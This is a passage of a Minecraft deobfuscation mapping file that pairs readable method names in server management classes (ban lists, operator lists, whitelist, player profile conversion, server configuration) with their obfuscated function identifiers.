(Ljava/util/UUID;)Lnet/minecraft/server/management/PlayerProfileCache$ProfileEntry; net/minecraft/server/management/PlayerProfileCache/func_152653_b (Ljava/util/UUID;)Lnet/minecraft/server/management/PlayerProfileCache$ProfileEntry; +MD: net/minecraft/server/management/PlayerProfileCache/save ()V net/minecraft/server/management/PlayerProfileCache/func_152658_c ()V +MD: net/minecraft/server/management/BanList/createEntry (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; net/minecraft/server/management/BanList/func_152682_a (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; +MD: net/minecraft/server/management/BanList/isBanned (Ljava/net/SocketAddress;)Z net/minecraft/server/management/BanList/func_152708_a (Ljava/net/SocketAddress;)Z +MD: net/minecraft/server/management/BanList/getBanEntry (Ljava/net/SocketAddress;)Lnet/minecraft/server/management/IPBanEntry; net/minecraft/server/management/BanList/func_152709_b (Ljava/net/SocketAddress;)Lnet/minecraft/server/management/IPBanEntry; +MD: net/minecraft/server/management/BanList/addressToString (Ljava/net/SocketAddress;)Ljava/lang/String; net/minecraft/server/management/BanList/func_152707_c (Ljava/net/SocketAddress;)Ljava/lang/String; +MD: net/minecraft/server/management/IPBanEntry/onSerialization (Lcom/google/gson/JsonObject;)V net/minecraft/server/management/IPBanEntry/func_152641_a (Lcom/google/gson/JsonObject;)V +MD: net/minecraft/server/management/IPBanEntry/getIPFromJson (Lcom/google/gson/JsonObject;)Ljava/lang/String; net/minecraft/server/management/IPBanEntry/func_152647_b (Lcom/google/gson/JsonObject;)Ljava/lang/String; +MD: net/minecraft/server/management/PreYggdrasilConverter$1/apply (Ljava/lang/String;)Z net/minecraft/server/management/PreYggdrasilConverter$1/apply (Ljava/lang/String;)Z +MD: net/minecraft/server/management/PreYggdrasilConverter$1/apply (Ljava/lang/Object;)Z net/minecraft/server/management/PreYggdrasilConverter$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/server/management/PreYggdrasilConverter$2/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V net/minecraft/server/management/PreYggdrasilConverter$2/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$2/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/PreYggdrasilConverter$2/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$3/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V net/minecraft/server/management/PreYggdrasilConverter$3/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$3/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/PreYggdrasilConverter$3/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$4/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V net/minecraft/server/management/PreYggdrasilConverter$4/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$4/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/PreYggdrasilConverter$4/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$5/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V net/minecraft/server/management/PreYggdrasilConverter$5/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$5/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/PreYggdrasilConverter$5/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$6/func_152744_a (Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; net/minecraft/server/management/PreYggdrasilConverter$6/func_152744_a (Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; +MD: net/minecraft/server/management/PreYggdrasilConverter$6/func_152743_a (Ljava/io/File;Ljava/lang/String;Ljava/lang/String;)V net/minecraft/server/management/PreYggdrasilConverter$6/func_152743_a (Ljava/io/File;Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$6/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V net/minecraft/server/management/PreYggdrasilConverter$6/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V +MD: net/minecraft/server/management/PreYggdrasilConverter$6/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/PreYggdrasilConverter$6/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/PreYggdrasilConverter/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/server/management/PreYggdrasilConverter/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/server/management/PreYggdrasilConverter/access$400 (Ljava/io/File;)V net/minecraft/server/management/PreYggdrasilConverter/access$400 (Ljava/io/File;)V +MD: net/minecraft/server/management/PreYggdrasilConverter/readFile (Ljava/io/File;Ljava/util/Map;)Ljava/util/List; net/minecraft/server/management/PreYggdrasilConverter/func_152721_a (Ljava/io/File;Ljava/util/Map;)Ljava/util/List; +MD: net/minecraft/server/management/PreYggdrasilConverter/getStringUUIDFromName (Ljava/lang/String;)Ljava/lang/String; net/minecraft/server/management/PreYggdrasilConverter/func_152719_a (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/server/management/PreYggdrasilConverter/access$200 (Ljava/lang/String;Ljava/util/Date;)Ljava/util/Date; net/minecraft/server/management/PreYggdrasilConverter/access$200 (Ljava/lang/String;Ljava/util/Date;)Ljava/util/Date; +MD: net/minecraft/server/management/PreYggdrasilConverter/tryConvert (Lnet/minecraft/server/dedicated/PropertyManager;)Z net/minecraft/server/management/PreYggdrasilConverter/func_152714_a (Lnet/minecraft/server/dedicated/PropertyManager;)Z +MD: net/minecraft/server/management/PreYggdrasilConverter/convertSaveFiles (Lnet/minecraft/server/dedicated/DedicatedServer;Lnet/minecraft/server/dedicated/PropertyManager;)Z net/minecraft/server/management/PreYggdrasilConverter/func_152723_a (Lnet/minecraft/server/dedicated/DedicatedServer;Lnet/minecraft/server/dedicated/PropertyManager;)Z +MD: net/minecraft/server/management/PreYggdrasilConverter/convertUserBanlist (Lnet/minecraft/server/MinecraftServer;)Z net/minecraft/server/management/PreYggdrasilConverter/func_152724_a (Lnet/minecraft/server/MinecraftServer;)Z +MD: net/minecraft/server/management/PreYggdrasilConverter/lookupNames (Lnet/minecraft/server/MinecraftServer;Ljava/util/Collection;Lcom/mojang/authlib/ProfileLookupCallback;)V net/minecraft/server/management/PreYggdrasilConverter/func_152717_a (Lnet/minecraft/server/MinecraftServer;Ljava/util/Collection;Lcom/mojang/authlib/ProfileLookupCallback;)V +MD: net/minecraft/server/management/PreYggdrasilConverter/mkdir (Ljava/io/File;)V net/minecraft/server/management/PreYggdrasilConverter/func_152711_b (Ljava/io/File;)V +MD: net/minecraft/server/management/PreYggdrasilConverter/parseDate (Ljava/lang/String;Ljava/util/Date;)Ljava/util/Date; net/minecraft/server/management/PreYggdrasilConverter/func_152713_b (Ljava/lang/String;Ljava/util/Date;)Ljava/util/Date; +MD: net/minecraft/server/management/PreYggdrasilConverter/hasUnconvertableFiles (Lnet/minecraft/server/dedicated/PropertyManager;)Z net/minecraft/server/management/PreYggdrasilConverter/func_152712_b (Lnet/minecraft/server/dedicated/PropertyManager;)Z +MD: net/minecraft/server/management/PreYggdrasilConverter/convertIpBanlist (Lnet/minecraft/server/MinecraftServer;)Z net/minecraft/server/management/PreYggdrasilConverter/func_152722_b (Lnet/minecraft/server/MinecraftServer;)Z +MD: net/minecraft/server/management/PreYggdrasilConverter/backupConverted (Ljava/io/File;)V net/minecraft/server/management/PreYggdrasilConverter/func_152727_c (Ljava/io/File;)V +MD: net/minecraft/server/management/PreYggdrasilConverter/hasUnconvertablePlayerFiles (Lnet/minecraft/server/dedicated/PropertyManager;)Z net/minecraft/server/management/PreYggdrasilConverter/func_152715_c (Lnet/minecraft/server/dedicated/PropertyManager;)Z +MD: net/minecraft/server/management/PreYggdrasilConverter/convertOplist (Lnet/minecraft/server/MinecraftServer;)Z net/minecraft/server/management/PreYggdrasilConverter/func_152718_c (Lnet/minecraft/server/MinecraftServer;)Z +MD: net/minecraft/server/management/PreYggdrasilConverter/getPlayersDirectory (Lnet/minecraft/server/dedicated/PropertyManager;)Ljava/io/File; net/minecraft/server/management/PreYggdrasilConverter/func_152725_d (Lnet/minecraft/server/dedicated/PropertyManager;)Ljava/io/File; +MD: net/minecraft/server/management/PreYggdrasilConverter/convertWhitelist (Lnet/minecraft/server/MinecraftServer;)Z net/minecraft/server/management/PreYggdrasilConverter/func_152710_d (Lnet/minecraft/server/MinecraftServer;)Z +MD: net/minecraft/server/management/ServerConfigurationManager$1/onSizeChanged (Lnet/minecraft/world/border/WorldBorder;D)V net/minecraft/server/management/ServerConfigurationManager$1/func_177694_a (Lnet/minecraft/world/border/WorldBorder;D)V +MD: net/minecraft/server/management/ServerConfigurationManager$1/onCenterChanged (Lnet/minecraft/world/border/WorldBorder;DD)V net/minecraft/server/management/ServerConfigurationManager$1/func_177693_a (Lnet/minecraft/world/border/WorldBorder;DD)V +MD: net/minecraft/server/management/ServerConfigurationManager$1/onTransitionStarted (Lnet/minecraft/world/border/WorldBorder;DDJ)V net/minecraft/server/management/ServerConfigurationManager$1/func_177692_a (Lnet/minecraft/world/border/WorldBorder;DDJ)V +MD: net/minecraft/server/management/ServerConfigurationManager$1/onWarningTimeChanged (Lnet/minecraft/world/border/WorldBorder;I)V net/minecraft/server/management/ServerConfigurationManager$1/func_177691_a (Lnet/minecraft/world/border/WorldBorder;I)V +MD: net/minecraft/server/management/ServerConfigurationManager$1/onDamageAmountChanged (Lnet/minecraft/world/border/WorldBorder;D)V net/minecraft/server/management/ServerConfigurationManager$1/func_177696_b (Lnet/minecraft/world/border/WorldBorder;D)V +MD: net/minecraft/server/management/ServerConfigurationManager$1/onWarningDistanceChanged (Lnet/minecraft/world/border/WorldBorder;I)V net/minecraft/server/management/ServerConfigurationManager$1/func_177690_b (Lnet/minecraft/world/border/WorldBorder;I)V +MD: net/minecraft/server/management/ServerConfigurationManager$1/onDamageBufferChanged (Lnet/minecraft/world/border/WorldBorder;D)V net/minecraft/server/management/ServerConfigurationManager$1/func_177695_c (Lnet/minecraft/world/border/WorldBorder;D)V +MD: net/minecraft/server/management/ServerConfigurationManager/loadWhiteList ()V net/minecraft/server/management/ServerConfigurationManager/func_72362_j ()V +MD: net/minecraft/server/management/ServerConfigurationManager/sendToAllNear (DDDDILnet/minecraft/network/Packet;)V net/minecraft/server/management/ServerConfigurationManager/func_148541_a (DDDDILnet/minecraft/network/Packet;)V +MD: net/minecraft/server/management/ServerConfigurationManager/setViewDistance (I)V net/minecraft/server/management/ServerConfigurationManager/func_152611_a (I)V +MD: net/minecraft/server/management/ServerConfigurationManager/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/server/management/ServerConfigurationManager/func_152604_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/server/management/ServerConfigurationManager/addOp (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/ServerConfigurationManager/func_152605_a (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/ServerConfigurationManager/initializeConnectionToPlayer (Lnet/minecraft/network/NetworkManager;Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/ServerConfigurationManager/func_72355_a (Lnet/minecraft/network/NetworkManager;Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/ServerConfigurationManager/sendChatMsg (Lnet/minecraft/util/IChatComponent;)V net/minecraft/server/management/ServerConfigurationManager/func_148539_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/server/management/ServerConfigurationManager/sendChatMsgImpl (Lnet/minecraft/util/IChatComponent;Z)V net/minecraft/server/management/ServerConfigurationManager/func_148544_a (Lnet/minecraft/util/IChatComponent;Z)V +MD: net/minecraft/server/management/ServerConfigurationManager/sendPacketToAllPlayers (Lnet/minecraft/network/Packet;)V net/minecraft/server/management/ServerConfigurationManager/func_148540_a (Lnet/minecraft/network/Packet;)V +MD: net/minecraft/server/management/ServerConfigurationManager/sendPacketToAllPlayersInDimension (Lnet/minecraft/network/Packet;I)V net/minecraft/server/management/ServerConfigurationManager/func_148537_a (Lnet/minecraft/network/Packet;I)V +MD: net/minecraft/server/management/ServerConfigurationManager/getPlayerByUsername (Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayerMP; net/minecraft/server/management/ServerConfigurationManager/func_152612_a (Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayerMP; +MD: net/minecraft/server/management/ServerConfigurationManager/allowUserToConnect (Ljava/net/SocketAddress;Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; net/minecraft/server/management/ServerConfigurationManager/func_148542_a (Ljava/net/SocketAddress;Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; +MD: net/minecraft/server/management/ServerConfigurationManager/getPlayerByUUID (Ljava/util/UUID;)Lnet/minecraft/entity/player/EntityPlayerMP; net/minecraft/server/management/ServerConfigurationManager/func_177451_a (Ljava/util/UUID;)Lnet/minecraft/entity/player/EntityPlayerMP; +MD: net/minecraft/server/management/ServerConfigurationManager/sendScoreboard (Lnet/minecraft/scoreboard/ServerScoreboard;Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/ServerConfigurationManager/func_96456_a (Lnet/minecraft/scoreboard/ServerScoreboard;Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/ServerConfigurationManager/readPlayerDataFromFile (Lnet/minecraft/entity/player/EntityPlayerMP;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/server/management/ServerConfigurationManager/func_72380_a (Lnet/minecraft/entity/player/EntityPlayerMP;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/server/management/ServerConfigurationManager/transferPlayerToDimension (Lnet/minecraft/entity/player/EntityPlayerMP;I)V net/minecraft/server/management/ServerConfigurationManager/func_72356_a (Lnet/minecraft/entity/player/EntityPlayerMP;I)V +MD: net/minecraft/server/management/ServerConfigurationManager/recreatePlayerEntity (Lnet/minecraft/entity/player/EntityPlayerMP;IZ)Lnet/minecraft/entity/player/EntityPlayerMP; net/minecraft/server/management/ServerConfigurationManager/func_72368_a (Lnet/minecraft/entity/player/EntityPlayerMP;IZ)Lnet/minecraft/entity/player/EntityPlayerMP; +MD: net/minecraft/server/management/ServerConfigurationManager/preparePlayer (Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/world/WorldServer;)V net/minecraft/server/management/ServerConfigurationManager/func_72375_a (Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/world/WorldServer;)V +MD: net/minecraft/server/management/ServerConfigurationManager/setPlayerGameTypeBasedOnOther (Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/world/World;)V net/minecraft/server/management/ServerConfigurationManager/func_72381_a (Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/world/World;)V +MD: net/minecraft/server/management/ServerConfigurationManager/transferEntityToWorld (Lnet/minecraft/entity/Entity;ILnet/minecraft/world/WorldServer;Lnet/minecraft/world/WorldServer;)V net/minecraft/server/management/ServerConfigurationManager/func_82448_a (Lnet/minecraft/entity/Entity;ILnet/minecraft/world/WorldServer;Lnet/minecraft/world/WorldServer;)V +MD: net/minecraft/server/management/ServerConfigurationManager/getPlayerStatsFile (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/stats/StatisticsFile; net/minecraft/server/management/ServerConfigurationManager/func_152602_a (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/stats/StatisticsFile; +MD: net/minecraft/server/management/ServerConfigurationManager/sendToAllNearExcept (Lnet/minecraft/entity/player/EntityPlayer;DDDDILnet/minecraft/network/Packet;)V net/minecraft/server/management/ServerConfigurationManager/func_148543_a (Lnet/minecraft/entity/player/EntityPlayer;DDDDILnet/minecraft/network/Packet;)V +MD: net/minecraft/server/management/ServerConfigurationManager/sendMessageToAllTeamMembers (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/IChatComponent;)V net/minecraft/server/management/ServerConfigurationManager/func_177453_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/server/management/ServerConfigurationManager/setWhiteListEnabled (Z)V net/minecraft/server/management/ServerConfigurationManager/func_72371_a (Z)V +MD: net/minecraft/server/management/ServerConfigurationManager/setPlayerManager ([Lnet/minecraft/world/WorldServer;)V net/minecraft/server/management/ServerConfigurationManager/func_72364_a ([Lnet/minecraft/world/WorldServer;)V +MD: net/minecraft/server/management/ServerConfigurationManager/removeOp (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/ServerConfigurationManager/func_152610_b (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/ServerConfigurationManager/getPlayersMatchingAddress (Ljava/lang/String;)Ljava/util/List; net/minecraft/server/management/ServerConfigurationManager/func_72382_j (Ljava/lang/String;)Ljava/util/List; +MD: net/minecraft/server/management/ServerConfigurationManager/writePlayerData (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/ServerConfigurationManager/func_72391_b (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/ServerConfigurationManager/updateTimeAndWeatherForPlayer (Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/world/WorldServer;)V net/minecraft/server/management/ServerConfigurationManager/func_72354_b (Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/world/WorldServer;)V +MD: net/minecraft/server/management/ServerConfigurationManager/sendMessageToTeamOrEvryPlayer (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/IChatComponent;)V net/minecraft/server/management/ServerConfigurationManager/func_177452_b (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/server/management/ServerConfigurationManager/func_181058_b (Z)Ljava/lang/String; net/minecraft/server/management/ServerConfigurationManager/func_181058_b (Z)Ljava/lang/String; +MD: net/minecraft/server/management/ServerConfigurationManager/getServerInstance ()Lnet/minecraft/server/MinecraftServer; net/minecraft/server/management/ServerConfigurationManager/func_72365_p ()Lnet/minecraft/server/MinecraftServer; +MD: net/minecraft/server/management/ServerConfigurationManager/removePlayerFromWhitelist (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/ServerConfigurationManager/func_152597_c (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/ServerConfigurationManager/playerLoggedIn (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/ServerConfigurationManager/func_72377_c (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/ServerConfigurationManager/setCommandsAllowedForAll (Z)V net/minecraft/server/management/ServerConfigurationManager/func_72387_b (Z)V +MD: net/minecraft/server/management/ServerConfigurationManager/getEntityViewDistance ()I net/minecraft/server/management/ServerConfigurationManager/func_72372_a ()I +MD: net/minecraft/server/management/ServerConfigurationManager/addWhitelistedPlayer (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/ServerConfigurationManager/func_152601_d (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/ServerConfigurationManager/serverUpdateMountedMovingPlayer (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/ServerConfigurationManager/func_72358_d (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/ServerConfigurationManager/onTick ()V net/minecraft/server/management/ServerConfigurationManager/func_72374_b ()V +MD: net/minecraft/server/management/ServerConfigurationManager/canJoin (Lcom/mojang/authlib/GameProfile;)Z net/minecraft/server/management/ServerConfigurationManager/func_152607_e (Lcom/mojang/authlib/GameProfile;)Z +MD: net/minecraft/server/management/ServerConfigurationManager/playerLoggedOut (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/ServerConfigurationManager/func_72367_e (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/ServerConfigurationManager/getAllUsernames ()[Ljava/lang/String; net/minecraft/server/management/ServerConfigurationManager/func_72369_d ()[Ljava/lang/String; +MD: net/minecraft/server/management/ServerConfigurationManager/bypassesPlayerLimit (Lcom/mojang/authlib/GameProfile;)Z net/minecraft/server/management/ServerConfigurationManager/func_183023_f (Lcom/mojang/authlib/GameProfile;)Z +MD: net/minecraft/server/management/ServerConfigurationManager/syncPlayerInventory (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/ServerConfigurationManager/func_72385_f (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/ServerConfigurationManager/getAllProfiles ()[Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/ServerConfigurationManager/func_152600_g ()[Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/management/ServerConfigurationManager/createPlayerForUser (Lcom/mojang/authlib/GameProfile;)Lnet/minecraft/entity/player/EntityPlayerMP; net/minecraft/server/management/ServerConfigurationManager/func_148545_a (Lcom/mojang/authlib/GameProfile;)Lnet/minecraft/entity/player/EntityPlayerMP; +MD: net/minecraft/server/management/ServerConfigurationManager/getBannedPlayers ()Lnet/minecraft/server/management/UserListBans; net/minecraft/server/management/ServerConfigurationManager/func_152608_h ()Lnet/minecraft/server/management/UserListBans; +MD: net/minecraft/server/management/ServerConfigurationManager/canSendCommands (Lcom/mojang/authlib/GameProfile;)Z net/minecraft/server/management/ServerConfigurationManager/func_152596_g (Lcom/mojang/authlib/GameProfile;)Z +MD: net/minecraft/server/management/ServerConfigurationManager/getBannedIPs ()Lnet/minecraft/server/management/BanList; net/minecraft/server/management/ServerConfigurationManager/func_72363_f ()Lnet/minecraft/server/management/BanList; +MD: net/minecraft/server/management/ServerConfigurationManager/saveAllPlayerData ()V net/minecraft/server/management/ServerConfigurationManager/func_72389_g ()V +MD: net/minecraft/server/management/ServerConfigurationManager/getWhitelistedPlayers ()Lnet/minecraft/server/management/UserListWhitelist; net/minecraft/server/management/ServerConfigurationManager/func_152599_k ()Lnet/minecraft/server/management/UserListWhitelist; +MD: net/minecraft/server/management/ServerConfigurationManager/getWhitelistedPlayerNames ()[Ljava/lang/String; net/minecraft/server/management/ServerConfigurationManager/func_152598_l ()[Ljava/lang/String; +MD: net/minecraft/server/management/ServerConfigurationManager/getOppedPlayers ()Lnet/minecraft/server/management/UserListOps; net/minecraft/server/management/ServerConfigurationManager/func_152603_m ()Lnet/minecraft/server/management/UserListOps; +MD: net/minecraft/server/management/ServerConfigurationManager/getOppedPlayerNames ()[Ljava/lang/String; net/minecraft/server/management/ServerConfigurationManager/func_152606_n ()[Ljava/lang/String; +MD: net/minecraft/server/management/ServerConfigurationManager/getCurrentPlayerCount ()I net/minecraft/server/management/ServerConfigurationManager/func_72394_k ()I +MD: net/minecraft/server/management/ServerConfigurationManager/getMaxPlayers ()I net/minecraft/server/management/ServerConfigurationManager/func_72352_l ()I +MD: net/minecraft/server/management/ServerConfigurationManager/getAvailablePlayerDat ()[Ljava/lang/String; net/minecraft/server/management/ServerConfigurationManager/func_72373_m ()[Ljava/lang/String; +MD: net/minecraft/server/management/ServerConfigurationManager/isWhiteListEnabled ()Z net/minecraft/server/management/ServerConfigurationManager/func_72383_n ()Z +MD: net/minecraft/server/management/ServerConfigurationManager/getViewDistance ()I net/minecraft/server/management/ServerConfigurationManager/func_72395_o ()I +MD: net/minecraft/server/management/ServerConfigurationManager/getHostPlayerData ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/server/management/ServerConfigurationManager/func_72378_q ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/server/management/ServerConfigurationManager/removeAllPlayers ()V net/minecraft/server/management/ServerConfigurationManager/func_72392_r ()V +MD: net/minecraft/server/management/ServerConfigurationManager/getPlayerList ()Ljava/util/List; net/minecraft/server/management/ServerConfigurationManager/func_181057_v ()Ljava/util/List; +MD: net/minecraft/server/management/UserListOps/getKeys ()[Ljava/lang/String; net/minecraft/server/management/UserListOps/func_152685_a ()[Ljava/lang/String; +MD: net/minecraft/server/management/UserListOps/createEntry (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; net/minecraft/server/management/UserListOps/func_152682_a (Lcom/google/gson/JsonObject;)Lnet/minecraft/server/management/UserListEntry; +MD: net/minecraft/server/management/UserListOps/getObjectKey (Ljava/lang/Object;)Ljava/lang/String; net/minecraft/server/management/UserListOps/func_152681_a (Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/server/management/UserListOps/getGameProfileFromName (Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/UserListOps/func_152700_a (Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/management/UserListOps/bypassesPlayerLimit (Lcom/mojang/authlib/GameProfile;)Z net/minecraft/server/management/UserListOps/func_183026_b (Lcom/mojang/authlib/GameProfile;)Z +MD: net/minecraft/server/management/UserListOps/getObjectKey (Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; net/minecraft/server/management/UserListOps/func_152681_a (Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; +MD: net/minecraft/server/management/UserListOpsEntry/getPermissionLevel ()I net/minecraft/server/management/UserListOpsEntry/func_152644_a ()I +MD: net/minecraft/server/management/UserListOpsEntry/onSerialization (Lcom/google/gson/JsonObject;)V net/minecraft/server/management/UserListOpsEntry/func_152641_a (Lcom/google/gson/JsonObject;)V +MD: net/minecraft/server/management/UserListOpsEntry/bypassesPlayerLimit ()Z net/minecraft/server/management/UserListOpsEntry/func_183024_b ()Z +MD: net/minecraft/server/management/UserListOpsEntry/constructProfile (Lcom/google/gson/JsonObject;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/UserListOpsEntry/func_152643_b (Lcom/google/gson/JsonObject;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/command/ICommandSender/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/command/ICommandSender/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/command/ICommandSender/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/command/ICommandSender/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/command/ICommandSender/setCommandStat (Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/command/ICommandSender/func_174794_a (Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/command/ICommandSender/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/command/ICommandSender/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/command/ICommandSender/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/command/ICommandSender/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/command/ICommandSender/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/command/ICommandSender/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/command/ICommandSender/getName ()Ljava/lang/String; net/minecraft/command/ICommandSender/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/command/ICommandSender/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; net/minecraft/command/ICommandSender/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/command/ICommandSender/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/command/ICommandSender/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/command/ICommandSender/sendCommandFeedback ()Z net/minecraft/command/ICommandSender/func_174792_t_ ()Z +MD: net/minecraft/server/management/UserListEntry/onSerialization (Lcom/google/gson/JsonObject;)V net/minecraft/server/management/UserListEntry/func_152641_a (Lcom/google/gson/JsonObject;)V +MD: net/minecraft/server/management/UserListEntry/hasBanExpired ()Z net/minecraft/server/management/UserListEntry/func_73682_e ()Z +MD: net/minecraft/server/management/UserListEntry/getValue ()Ljava/lang/Object; net/minecraft/server/management/UserListEntry/func_152640_f ()Ljava/lang/Object; +MD: net/minecraft/server/management/UserList$1/getActualTypeArguments ()[Ljava/lang/reflect/Type; net/minecraft/server/management/UserList$1/getActualTypeArguments ()[Ljava/lang/reflect/Type; +MD: net/minecraft/server/management/UserList$1/getOwnerType ()Ljava/lang/reflect/Type; net/minecraft/server/management/UserList$1/getOwnerType ()Ljava/lang/reflect/Type; +MD: net/minecraft/server/management/UserList$1/getRawType ()Ljava/lang/reflect/Type; net/minecraft/server/management/UserList$1/getRawType ()Ljava/lang/reflect/Type; +MD: net/minecraft/server/management/UserList$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/server/management/UserListEntry; net/minecraft/server/management/UserList$Serializer/deserialize 